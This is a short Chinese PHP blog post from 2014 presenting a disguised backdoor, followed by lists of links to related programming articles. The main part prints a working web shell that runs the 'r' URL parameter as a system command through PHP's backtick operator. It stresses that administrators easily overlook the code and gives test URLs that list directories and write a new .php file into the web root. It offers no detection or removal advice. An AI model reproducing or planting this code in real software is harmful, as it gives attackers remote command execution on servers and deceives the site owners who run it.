一个不易被发现的PHP后门代码解析


Posted in PHP onJuly 05, 2014

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

PHP 相关文章推荐
怎样在UNIX系统下安装php3
Oct 09 PHP
PHP语法速查表
Jan 02 PHP
可以在线执行PHP代码包装修正版
Mar 15 PHP
基于asp+ajax和数据库驱动的二级联动菜单
May 06 PHP
PHP5中GD库生成图形验证码(有汉字)
Jul 28 PHP
PHP中数据类型转换的三种方式
Apr 02 PHP
PHP判断是否为空的几个函数对比
Apr 21 PHP
php中header设置常见文件类型的content-type
Jun 23 PHP
基于OpenCart 开发支付宝,财付通,微信支付参数错误问题
Oct 01 PHP
PHP5.4起内置web服务器使用方法
Aug 09 PHP
laravel通过创建自定义artisan make命令来新建类文件详解
Aug 17 PHP
ThinkPHP框架实现的微信支付接口开发完整示例
Apr 10 PHP
linux下使用crontab实现定时PHP计划任务失败的原因分析
Jul 05 #PHP
php操作redis中的hash和zset类型数据的方法和代码例子
Jul 05 #PHP
采用memcache在web集群中实现session的同步会话
Jul 05 #PHP
30个php操作redis常用方法代码例子
Jul 05 #PHP
PHP在网页中动态生成PDF文件详细教程
Jul 05 #PHP
PHP数组遍历知识汇总(包含遍历方法、数组指针操作函数、数组遍历测速)
Jul 05 #PHP
php遍历数组的4种方法总结
Jul 05 #PHP
You might like
千呼万唤始出来,DOTA2勇士令状不朽宝藏Ⅱ现已推出
2020/08/25 DOTA
用PHP编程开发“虚拟域名”系统
2006/10/09 PHP
PHP缓存技术的使用说明
2011/08/06 PHP
PHP的变量类型和作用域详解
2014/03/12 PHP
PHP+Mysql+Ajax+JS实现省市区三级联动
2014/05/23 PHP
php的crc32函数使用时需要注意的问题(不然就是坑)
2015/04/21 PHP
基于CakePHP实现的简单博客系统实例
2015/06/28 PHP
浅谈PHP中foreach/in_array的使用
2015/11/02 PHP
Laravel5.1 框架Middleware中间件基本用法实例分析
2020/01/04 PHP
xml文档转换工具,附图表例子(hta)
2010/11/17 Javascript
Javascript 倒计时源代码.(时.分.秒) 详细注释版
2011/05/09 Javascript
Javascript开发之三数组对象实例介绍
2012/11/12 Javascript
解决IE6的PNG透明JS插件使用介绍
2013/04/17 Javascript
通过js为元素添加多项样式,浏览器全兼容写法
2014/08/30 Javascript
javascript中动态函数用法实例分析
2015/05/14 Javascript
详解JavaScript中的异常处理方法
2015/06/16 Javascript
详解JavaScript的变量和数据类型
2015/11/27 Javascript
JS版微信6.0分享接口用法分析
2016/10/13 Javascript
微信小程序  modal详解及实例代码
2016/11/09 Javascript
详解Vue-Cli 异步加载数据的一些注意点
2017/08/12 Javascript
浅析Visual Studio Code断点调试Vue
2018/02/27 Javascript
vue离开当前页面触发的函数代码
2020/09/01 Javascript
JavaScript 闭包的使用场景
2020/09/17 Javascript
简单介绍Python中的RSS处理
2015/04/13 Python
Python数据可视化编程通过Matplotlib创建散点图代码示例
2017/12/09 Python
Python程序运行原理图文解析
2018/02/10 Python
python 判断三个数字中的最大值实例代码
2019/07/24 Python
Python 实现Numpy中找出array中最大值所对应的行和列
2019/11/26 Python
HTML5输入框下拉菜单功能的示例代码
2020/09/08 HTML / CSS
跑步爱好者一站式服务网站:Jack Rabbit
2016/09/01 全球购物
保安的辞职报告怎么写
2014/01/20 职场文书
二年级语文教学反思
2014/02/02 职场文书
计算机网络及管理学专业求职信
2014/06/05 职场文书
领导班子个人查摆问题对照检查材料
2014/10/02 职场文书
新学期主题班会
2015/08/17 职场文书
一文读懂go中semaphore(信号量)源码
2021/04/03 Golang